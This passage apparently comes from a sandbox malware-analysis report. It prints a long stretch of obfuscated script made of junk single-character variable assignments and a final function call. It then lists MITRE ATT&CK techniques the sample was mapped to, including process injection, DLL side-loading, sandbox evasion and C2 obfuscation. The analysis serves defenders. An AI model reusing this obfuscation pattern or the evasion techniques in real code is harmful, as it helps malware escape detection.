394	huqszqbak = "K";
395	huqszqbak = "c";
396	huqszqbak = "C";
397	huqszqbak = "p";
398	huqszqbak = "y";
399	huqszqbak = "R";
400	huqszqbak = "m";
401	huqszqbak = "o";
402	huqszqbak = "N";
403	huqszqbak = "O";
404	huqszqbak = "H";
405	huqszqbak = "y";
406	huqszqbak = "h";
407	huqszqbak = "B";
408	huqszqbak = "f";
409	huqszqbak = "F";
410	huqszqbak = "k";
411	huqszqbak = "i";
412	huqszqbak = "H";
413	huqszqbak = "4";
414	jhecghsj = "e";
415	jhecghsj = "Y";
416	jhecghsj = "A";
417	jhecghsj = "A";
418	jhecghsj = "Q";
419	jhecghsj = "V";
420	jhecghsj = "o";
421	jhecghsj = "T";
422	jhecghsj = "P";
423	jhecghsj = "O";
424	jhecghsj = "v";
425	jhecghsj = "G";
426	jhecghsj = "s";
427	jhecghsj = "s";
428	jhecghsj = "Q";
429	jhecghsj = "L";
430	jhecghsj = "B";
431	jhecghsj = "A";
432	jhecghsj = "y";
433	jhecghsj = "Q";
434	jhecghsj = "b";
435	jhecghsj = "W";
436	jhecghsj = "X";
437	jhecghsj = "/";
438	crfkhh = "i";
439	crfkhh = "X";
440	crfkhh = "J";
441	crfkhh = "X";
442	crfkhh = "t";
443	crfkhh = "V";
444	crfkhh = "s";
445	crfkhh = "P";
446	crfkhh = "T";
447	crfkhh = "o";
448	crfkhh = "D";
449	crfkhh = "S";
450	crfkhh = "w";
451	crfkhh = "G";
452	crfkhh = "R";
453	crfkhh = "K";
454	crfkhh = "b";
455	crfkhh = "v";
456	crfkhh = "n";
457	crfkhh = "H";
458	crfkhh = "j";
459	crfkhh = "S";
460	crfkhh = "k";
461	crfkhh = "r";
462	crfkhh = "M";
463	crfkhh = "i";
464	szenk = "G";
465	szenk = "r";
466	szenk = "K";
467	szenk = "B";
468	szenk = "X";
469	szenk = "x";
470	szenk = "V";
471	szenk = "v";
472	szenk = "E";
473	szenk = "P";
474	szenk = "x";
475	szenk = "O";
476	bcutko = "q";
477	bcutko = "x";
478	bcutko = "e";
479	bcutko = "a";
480	bcutko = "H";
481	bcutko = "n";
482	bcutko = "G";
483	bcutko = "F";
484	bcutko = "L";
485	bcutko = "e";
486	bcutko = "l";
487	bcutko = "m";
488	bcutko = "f";
489	bcutko = "n";
490	bcutko = "P";
491	bcutko = "x";
492	bcutko = "o";
493	bcutko = "W";
494	bcutko = "S";
495	bcutko = "x";
496	bcutko = "s";
497	bcutko = "B";
498	bcutko = "c";
499	bcutko = "S";
500	bcutko = "u";
501	bcutko = "j";
502	bcutko = "N";
503	bcutko = "V";
504	bcutko = "p";
505	bcutko = "Z";
506	bcutko = "G";
507	bcutko = "T";
508	bcutko = "Y";
509	rhqruqhtk = "Z";
510	rhqruqhtk = "C";
511	rhqruqhtk = "a";
512	rhqruqhtk = "l";
513	rhqruqhtk = "q";
514	rhqruqhtk = "K";
515	rhqruqhtk = "k";
516	rhqruqhtk = "a";
517	rhqruqhtk = "w";
518	rhqruqhtk = "j";
519	rhqruqhtk = "x";
520	rhqruqhtk = "W";
521	rhqruqhtk = "O";
522	rhqruqhtk = "r";
523	rhqruqhtk = "E";
524	rhqruqhtk = "M";
525	rhqruqhtk = "v";
526	rhqruqhtk = "X";
527	rhqruqhtk = "l";
528	rhqruqhtk = "X";
529	rhqruqhtk = "K";
530	rhqruqhtk = "K";
531	rhqruqhtk = "g";
532	rhqruqhtk = "e";
533	rhqruqhtk = "i";
534	rhqruqhtk = "Q";
535	rhqruqhtk = "S";
536	rhqruqhtk = "E";
537	rhqruqhtk = "p";
538	rhqruqhtk = "k";
539	rhqruqhtk = "i";
540	rhqruqhtk = "g";
541	rhqruqhtk = "g";
542	rhqruqhtk = "n";
543	rhqruqhtk = "H";
544	rhqruqhtk = "h";
545	rhqruqhtk = "N";
546	rhqruqhtk = "H";
547	rhqruqhtk = "H";
548	rhqruqhtk = "q";
549	rhqruqhtk = "y";
550	rhqruqhtk = "p";
551	rhqruqhtk = "k";
552	rhqruqhtk = "H";
553	mqydobp = "u";
554	mqydobp = "t";
555	mqydobp = "R";
556	mqydobp = "p";
557	mqydobp = "x";
558	mqydobp = "x";
559	mqydobp = "K";
560	mqydobp = "C";
561	mqydobp = "D";
562	mqydobp = "a";
563	mqydobp = "p";
564	mqydobp = "h";
565	pbtwsy = "w";
566	pbtwsy = "b";
567	pbtwsy = "s";
568	pbtwsy = "R";
569	pbtwsy = "W";
570	pbtwsy = "e";
571	pbtwsy = "u";
572	pbtwsy = "s";
573	pbtwsy = "s";
574	pbtwsy = "c";
575	pbtwsy = "R";
576	pbtwsy = "T";
577	pbtwsy = "l";
578	pbtwsy = "d";
579	pbtwsy = "Q";
580	nkgcu = "Y";
581	nkgcu = "Y";
582	nkgcu = "S";
583	nkgcu = "c";
584	nkgcu = "Y";
585	nkgcu = "u";
586	nkgcu = "o";
587	nkgcu = "T";
588	fdwanoz = "Z";
589	fdwanoz = "Z";
590	fdwanoz = "G";
591	fdwanoz = "J";
592	fdwanoz = "u";
593	fdwanoz = "E";
594	fdwanoz = "T";
595	fdwanoz = "R";
596	fdwanoz = "p";
597	fdwanoz = "O";
598	fdwanoz = "q";
599	fdwanoz = "h";
600	fdwanoz = "H";
601	fdwanoz = "k";
602	fdwanoz = "v";
603	fdwanoz = "E";
604	fdwanoz = "D";
605	fdwanoz = "q";
606	fdwanoz = "p";
607	ugiewkvu = "x";
608	ugiewkvu = "f";
609	ugiewkvu = "v";
610	ugiewkvu = "F";
611	drpxsbduj = "g";
612	drpxsbduj = "m";
613	drpxsbduj = "o";
614	drpxsbduj = "f";
615	drpxsbduj = "M";
616	drpxsbduj = "X";
617	drpxsbduj = "M";
618	drpxsbduj = "w";
619	drpxsbduj = "k";
620	drpxsbduj = "t";
621	drpxsbduj = "r";
622	drpxsbduj = "H";
623	drpxsbduj = "B";
624	drpxsbduj = "_";
625	ewthdzr = "P";
626	ewthdzr = "V";
627	ewthdzr = "r";
628	ewthdzr = "H";
629	ewthdzr = "p";
630	ewthdzr = "P";
631	ewthdzr = "A";
632	ewthdzr = "Z";
633	ewthdzr = "K";
634	ewthdzr = "y";
635	ewthdzr = "x";
636	ewthdzr = "G";
637	ewthdzr = "G";
638	ewthdzr = "i";
639	ewthdzr = "r";
640	ewthdzr = "K";
641	ewthdzr = "g";
642	ewthdzr = "y";
643	ewthdzr = "r";
644	ewthdzr = "J";
645	ewthdzr = "G";
646	ewthdzr = "p";
647	ewthdzr = "M";
648	ewthdzr = "N";
649	ewthdzr = "y";
650	ewthdzr = "A";
651	ewthdzr = "L";
652	ewthdzr = "o";
653	ewthdzr = "u";
654	ewthdzr = "d";
655	ewthdzr = "y";
656	ewthdzr = "t";
657	ewthdzr = "E";
658	ewthdzr = "D";
659	ewthdzr = "Z";
660	ewthdzr = "v";
661	ewthdzr = "e";
662	hmldjwq = "L";
663	hmldjwq = "x";
664	hmldjwq = "F";
665	hmldjwq = "T";
666	hmldjwq = "o";
667	hmldjwq = "Z";
668	hmldjwq = "m";
669	hmldjwq = "g";
670	hmldjwq = "d";
671	hmldjwq = "y";
672	hmldjwq = "l";
673	hmldjwq = "w";
674	hmldjwq = "s";
675	hmldjwq = "k";
676	hmldjwq = "D";
677	hmldjwq = "g";
678	hmldjwq = "T";
679	hmldjwq = "j";
680	hmldjwq = "V";
681	hmldjwq = "m";
682	hmldjwq = "O";
683	hmldjwq = "s";
684	hmldjwq = "U";
685	hmldjwq = "d";
686	hmldjwq = "g";
687	hmldjwq = "F";
688	hmldjwq = "f";
689	hmldjwq = "f";
690	hmldjwq = "x";
691	hmldjwq = "c";
692	hmldjwq = "J";
693	hmldjwq = "s";
694	hmldjwq = "t";
695	hmldjwq = "l";
696	hmldjwq = "n";
697	hmldjwq = "x";
698	hmldjwq = "C";
699	hmldjwq = "e";
700	hmldjwq = "O";
701	hmldjwq = "Q";
702	hmldjwq = "d";
703	hmldjwq = "%";
704	lxncukjxw = "z";
705	lxncukjxw = "I";
706	lxncukjxw = "U";
707	lxncukjxw = "g";
708	lxncukjxw = "Z";
709	lxncukjxw = "T";
710	lxncukjxw = "E";
711	lxncukjxw = "q";
712	lxncukjxw = "d";
713	lxncukjxw = "r";
714	lxncukjxw = "e";
715	lxncukjxw = "K";
716	wsbsjf = "z";
717	wsbsjf = "r";
718	wsbsjf = "v";
719	wsbsjf = "l";
720	wsbsjf = "j";
721	wsbsjf = "Q";
722	wsbsjf = "C";
723	wsbsjf = "N";
724	wsbsjf = "n";
725	yvuilhozf = "A";
726	yvuilhozf = "q";
727	yvuilhozf = "j";
728	yvuilhozf = "k";
729	yvuilhozf = "P";
730	yvuilhozf = "o";
731	yvuilhozf = "I";
732	yvuilhozf = "h";
733	yvuilhozf = "O";
734	yvuilhozf = "E";
735	ujckfm = "J";
736	ujckfm = "f";
737	ujckfm = "u";
738	ujckfm = "F";
739	ujckfm = "n";
740	ujckfm = "o";
741	ujckfm = "t";
742	ujckfm = "V";
743	ujckfm = "u";
744	ujckfm = "k";
745	ujckfm = "S";
746	ujckfm = "o";
747	ujckfm = "u";
748	ujckfm = "M";
749	ujckfm = "w";
750	ujckfm = "y";
751	ujckfm = "s";
752	ujckfm = "a";
753	ujckfm = "K";
754	ujckfm = "B";
755	ujckfm = "s";
756	ujckfm = "p";
757	ujckfm = "C";
758	ujckfm = "E";
759	ujckfm = "R";
760	ujckfm = "G";
761	ujckfm = "H";
762	ujckfm = "N";
763	ujckfm = "Q";
764	ujckfm = "w";
765	ujckfm = "y";
766	ujckfm = "d";
767	ujckfm = "m";
768	ujckfm = "a";
769	ujckfm = "q";
770	ujckfm = "R";
771	ujckfm = "s";
772	ujckfm = "j";
773	ujckfm = "0";
774	vzsuzegh = "X";
775	vzsuzegh = "m";
776	vzsuzegh = "J";
777	vzsuzegh = "u";
778	vzsuzegh = "v";
779	vzsuzegh = "W";
780	vzsuzegh = ":";
781	nsfbp = "F";
782	nsfbp = "W";
783	nsfbp = "k";
784	nsfbp = "C";
785	nsfbp = "V";
786	nsfbp = "l";
787	wxfzl = "v";
788	wxfzl = "G";
789	wxfzl = "x";
790	wxfzl = "n";
791	wxfzl = "C";
792	wxfzl = "b";
793	wxfzl = "V";
794	wxfzl = "g";
795	wxfzl = "s";
796	wxfzl = "R";
797	wxfzl = "g";
798	wxfzl = "e";
799	wxfzl = "7";
800	shgrf = "g";
801	shgrf = "g";
802	zovzduceh = "w";
803	zovzduceh = "v";
804	zovzduceh = "D";
805	zovzduceh = "J";
806	zovzduceh = "e";
807	zovzduceh = "K";
808	zovzduceh = "i";
809	zovzduceh = "C";
810	zovzduceh = "y";
811	zovzduceh = "o";
812	acibi = "b";
813	acibi = "v";
814	acibi = "Z";
815	acibi = "w";
816	acibi = "w";
817	acibi = "r";
818	acibi = "r";
819	acibi = "J";
820	acibi = "Z";
821	acibi = "M";
822	acibi = "n";
823	acibi = "W";
824	fqnvgcugg = "g";
825	fqnvgcugg = "q";
826	fqnvgcugg = "j";
827	fqnvgcugg = "c";
828	fqnvgcugg = "G";
829	fqnvgcugg = "h";
830	fqnvgcugg = "e";
831	fqnvgcugg = "V";
832	fqnvgcugg = "M";
833	fqnvgcugg = "W";
834	fqnvgcugg = "M";
835	fqnvgcugg = "I";
836	fqnvgcugg = "P";
837	fqnvgcugg = "o";
838	fqnvgcugg = "C";
839	fqnvgcugg = "q";
840	fqnvgcugg = "F";
841	fqnvgcugg = "d";
842	fqnvgcugg = "k";
843	fqnvgcugg = "I";
844	fqnvgcugg = "O";
845	fqnvgcugg = "U";
846	fqnvgcugg = "C";
847	fqnvgcugg = "a";
848	fqnvgcugg = "@";
849	jeokgufb = "t";
850	jeokgufb = "C";
851	jeokgufb = "Y";
852	jeokgufb = "p";
853	jeokgufb = "q";
854	jeokgufb = "j";
855	jeokgufb = "Z";
856	jeokgufb = "C";
857	jeokgufb = "G";
858	jeokgufb = "R";
859	hnjccdbpd = "x";
860	hnjccdbpd = "J";
861	hnjccdbpd = "N";
862	hnjccdbpd = "e";
863	hnjccdbpd = "G";
864	hnjccdbpd = "R";
865	hnjccdbpd = "t";
866	hnjccdbpd = "&";
867	cottqbked = "h";
868	cottqbked = "y";
869	cottqbked = "b";
870	cottqbked = "V";
871	cottqbked = "S";
872	cottqbked = "O";
873	cottqbked = "L";
874	cottqbked = "P";
875	cottqbked = "C";
876	cottqbked = "l";
877	cottqbked = "o";
878	cottqbked = "o";
879	cottqbked = "m";
880	cottqbked = "e";
881	cottqbked = "g";
882	cottqbked = "B";
883	cottqbked = "x";
884	lxbjy = "W";
885	lxbjy = "A";
886	lxbjy = "C";
887	lxbjy = "r";
888	lxbjy = "U";
889	lxbjy = "K";
890	lxbjy = "W";
891	lxbjy = "f";
892	lxbjy = "W";
893	lxbjy = "I";
894	lxbjy = "n";
895	lxbjy = "Q";
896	lxbjy = "b";
897	lxbjy = "z";
898	lxbjy = "z";
899	lxbjy = "a";
900	lxbjy = "v";
901	lxbjy = "m";
902	lxbjy = "K";
903	lxbjy = "V";
904	lxbjy = "u";
905	lxbjy = "n";
906	lxbjy = "X";
907	lxbjy = "P";
908	lxbjy = "f";
909	lxbjy = "T";
910	lxbjy = "W";
911	lxbjy = "w";
912	lxbjy = "M";
913	lxbjy = "e";
914	lxbjy = "e";
915	lxbjy = "f";
916	flbxrl = "M";
917	flbxrl = "A";
918	flbxrl = "j";
919	flbxrl = "r";
920	flbxrl = "H";
921	flbxrl = "z";
922	flbxrl = "t";
923	flbxrl = "B";
924	flbxrl = "Z";
925	flbxrl = "g";
926	flbxrl = "x";
927	flbxrl = "S";
928	flbxrl = "n";
929	flbxrl = "G";
930	flbxrl = "X";
931	flbxrl = "s";
932	flbxrl = "G";
933	flbxrl = "z";
934	flbxrl = "K";
935	flbxrl = "a";
936	flbxrl = "c";
937	flbxrl = "K";
938	flbxrl = "Y";
939	flbxrl = "L";
940	flbxrl = "Z";
941	flbxrl = "k";
942	flbxrl = "D";
943	flbxrl = "h";
944	flbxrl = "w";
945	flbxrl = "X";
946	flbxrl = "f";
947	flbxrl = "B";
948	flbxrl = "n";
949	flbxrl = "Q";
950	flbxrl = "s";
951	flbxrl = "q";
952	flbxrl = "Y";
953	flbxrl = "w";
954	flbxrl = "D";
955	flbxrl = "l";
956	flbxrl = "K";
957	flbxrl = "r";
958	flbxrl = "b";
959	fpowv = "Y";
960	fpowv = "d";
961	fpowv = "R";
962	fpowv = "W";
963	fpowv = "B";
964	fpowv = "Z";
965	fpowv = "A";
966	fpowv = "I";
967	fpowv = "Q";
968	fpowv = "w";
969	fpowv = "X";
970	fpowv = "Y";
971	fpowv = "Y";
972	fpowv = "K";
973	fpowv = "y";
974	fpowv = "m";
975	kamigzsyd = "d";
976	kamigzsyd = "L";
977	kamigzsyd = "c";
978	kamigzsyd = "l";
979	kamigzsyd = "x";
980	kamigzsyd = "r";
981	kamigzsyd = "u";
982	kamigzsyd = "Y";
983	kamigzsyd = "S";
984	kamigzsyd = "v";
985	kamigzsyd = "N";
986	kamigzsyd = "d";
987	kamigzsyd = "u";
988	kamigzsyd = "O";
989	kamigzsyd = "A";
990	kamigzsyd = "d";
991	kamigzsyd = "I";
992	kamigzsyd = "t";
993	kamigzsyd = "T";
994	kamigzsyd = "u";
995	kamigzsyd = "h";
996	kamigzsyd = "i";
997	kamigzsyd = "c";
998	kamigzsyd = "p";
999	kamigzsyd = "x";
1000	kamigzsyd = "Z";
1001	kamigzsyd = "V";
1002	kamigzsyd = "Y";
1003	kamigzsyd = "I";
1004	kamigzsyd = "Q";
1005	kamigzsyd = "J";
1006	kamigzsyd = "B";
1007	kamigzsyd = "k";
1008	kamigzsyd = "z";
1009	kamigzsyd = "f";
1010	kamigzsyd = "y";
1011	kamigzsyd = "w";
1012	yofmlxmr = "S";
1013	yofmlxmr = "f";
1014	yofmlxmr = "L";
1015	yofmlxmr = "R";
1016	yofmlxmr = "l";
1017	yofmlxmr = "S";
1018	yofmlxmr = "r";
1019	yofmlxmr = "D";
1020	yofmlxmr = "N";
1021	yofmlxmr = "R";
1022	yofmlxmr = "j";
1023	yofmlxmr = "y";
1024	yofmlxmr = "m";
1025	yofmlxmr = "l";
1026	yofmlxmr = "m";
1027	yofmlxmr = "R";
1028	yofmlxmr = "i";
1029	yofmlxmr = "n";
1030	yofmlxmr = "r";
1031	iyvzfxs = "X";
1032	iyvzfxs = "Q";
1033	iyvzfxs = "m";
1034	iyvzfxs = "a";
1035	iyvzfxs = "K";
1036	iyvzfxs = "S";
1037	iyvzfxs = "k";
1038	iyvzfxs = "K";
1039	iyvzfxs = "n";
1040	iyvzfxs = "w";
1041	iyvzfxs = "l";
1042	iyvzfxs = "P";
1043	iyvzfxs = "H";
1044	iyvzfxs = "F";
1045	iyvzfxs = "o";
1046	iyvzfxs = "a";
1047	iyvzfxs = "Z";
1048	iyvzfxs = "f";
1049	iyvzfxs = "F";
1050	iyvzfxs = "U";
1051	iyvzfxs = "X";
1052	iyvzfxs = "H";
1053	iyvzfxs = "Z";
1054	iyvzfxs = "k";
1055	iyvzfxs = "O";
1056	iyvzfxs = "X";
1057	iyvzfxs = "n";
1058	iyvzfxs = "k";
1059	iyvzfxs = "S";
1060	nmcxomb = "U";
1061	swafudvnl = "l";
1062	swafudvnl = "J";
1063	swafudvnl = "s";
1064	swafudvnl = "x";
1065	swafudvnl = "C";
1066	swafudvnl = "I";
1067	swafudvnl = "J";
1068	swafudvnl = "X";
1069	swafudvnl = "s";
1070	swafudvnl = "L";
1071	swafudvnl = "z";
1072	swafudvnl = "N";
1073	mfzzmqs = "G";
1074	mfzzmqs = "U";
1075	mfzzmqs = "n";
1076	mfzzmqs = "U";
1077	mfzzmqs = "m";
1078	mfzzmqs = "x";
1079	mfzzmqs = "m";
1080	mfzzmqs = "T";
1081	mfzzmqs = "f";
1082	mfzzmqs = "X";
1083	mfzzmqs = "P";
1084	mfzzmqs = "m";
1085	mfzzmqs = "v";
1086	mfzzmqs = "k";
1087	mfzzmqs = "U";
1088	mfzzmqs = "n";
1089	mfzzmqs = "H";
1090	mfzzmqs = "l";
1091	mfzzmqs = "y";
1092	mfzzmqs = "N";
1093	mfzzmqs = "v";
1094	mfzzmqs = "Z";
1095	mfzzmqs = "s";
1096	mfzzmqs = "p";
1097	mfzzmqs = "q";
1098	mfzzmqs = "m";
1099	mfzzmqs = "e";
1100	mfzzmqs = "Y";
1101	mfzzmqs = "b";
1102	mfzzmqs = "Z";
1103	mfzzmqs = "G";
1104	mfzzmqs = "G";
1105	mfzzmqs = "2";
1106	bqclrmn = "G";
1107	bqclrmn = "E";
1108	bqclrmn = "A";
1109	bqclrmn = "B";
1110	bqclrmn = "O";
1111	bqclrmn = "Y";
1112	bqclrmn = "Z";
1113	bqclrmn = "d";
1114	bqclrmn = "m";
1115	bqclrmn = "a";
1116	bqclrmn = "J";
1117	bqclrmn = "u";
1118	bqclrmn = "b";
1119	bqclrmn = "S";
1120	bqclrmn = "E";
1121	bqclrmn = "j";
1122	bqclrmn = "z";
1123	bqclrmn = "k";
1124	bqclrmn = "P";
1125	bqclrmn = "J";
1126	bqclrmn = "n";
1127	bqclrmn = "R";
1128	bqclrmn = "X";
1129	bqclrmn = "s";
1130	bqclrmn = "C";
1131	bqclrmn = "v";
1132	bqclrmn = "P";
1133	bqclrmn = "c";
1134	bqclrmn = "c";
1135	bqclrmn = "z";
1136	bqclrmn = "X";
1137	bqclrmn = "G";
1138	bqclrmn = "K";
1139	bqclrmn = "D";
1140	bqclrmn = "P";
1141	bqclrmn = "U";
1142	bqclrmn = "v";
1143	bqclrmn = "L";
1144	xjhzly = "I";
1145	xjhzly = "T";
1146	xjhzly = "b";
1147	xjhzly = "A";
1148	xjhzly = "x";
1149	xjhzly = "s";
1150	xjhzly = "L";
1151	xjhzly = "s";
1152	xjhzly = "s";
1153	xjhzly = "r";
1154	xjhzly = "m";
1155	xjhzly = "p";
1156	xjhzly = "k";
1157	xjhzly = "3";
1158	nyjgupir = "V";
1159	nyjgupir = "v";
1160	nyjgupir = "K";
1161	nyjgupir = "U";
1162	nyjgupir = "O";
1163	nyjgupir = "1";
1164	erhnjzp = "W";
1165	erhnjzp = "z";
1166	erhnjzp = "9";
1167	xxxdqsz = "F";
1168	xxxdqsz = "w";
1169	xxxdqsz = "A";
1170	xxxdqsz = "w";
1171	xxxdqsz = "c";
1172	xxxdqsz = "Y";
1173	xxxdqsz = "a";
1174	xxxdqsz = "O";
1175	xxxdqsz = "T";
1176	xxxdqsz = "L";
1177	xxxdqsz = "M";
1178	xxxdqsz = "Z";
1179	xxxdqsz = "o";
1180	xxxdqsz = "T";
1181	xxxdqsz = "-";
1182	xciociasy = "n";
1183	xciociasy = "O";
1184	xciociasy = "P";
1185	xciociasy = "B";
1186	xciociasy = "r";
1187	xciociasy = "D";
1188	xciociasy = "P";
1189	xciociasy = "U";
1190	xciociasy = "u";
1191	xciociasy = "L";
1192	xciociasy = "a";
1193	xciociasy = "C";
1194	xciociasy = "h";
1195	xciociasy = "v";
1196	xciociasy = "o";
1197	xciociasy = "N";
1198	xciociasy = "S";
1199	xciociasy = "w";
1200	xciociasy = "s";
1201	xciociasy = "A";
1202	xciociasy = "X";
1203	xciociasy = "t";
1204	xciociasy = "f";
1205	xciociasy = "P";
1206	xciociasy = "n";
1207	xciociasy = "f";
1208	xciociasy = "R";
1209	xciociasy = "P";
1210	xciociasy = "J";
1211	xciociasy = "g";
1212	xciociasy = "J";
1213	xciociasy = "k";
1214	xciociasy = "c";
1215	xciociasy = "p";
1216	xciociasy = "c";
1217	xciociasy = "l";
1218	xciociasy = "r";
1219	xciociasy = "\"";
1220	sjszpit = "d";
1221	sjszpit = "P";
1222	sjszpit = "v";
1223	sjszpit = "k";
1224	sjszpit = "Q";
1225	sjszpit = "8";
1226	sbycneap ( );	sbycneap() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

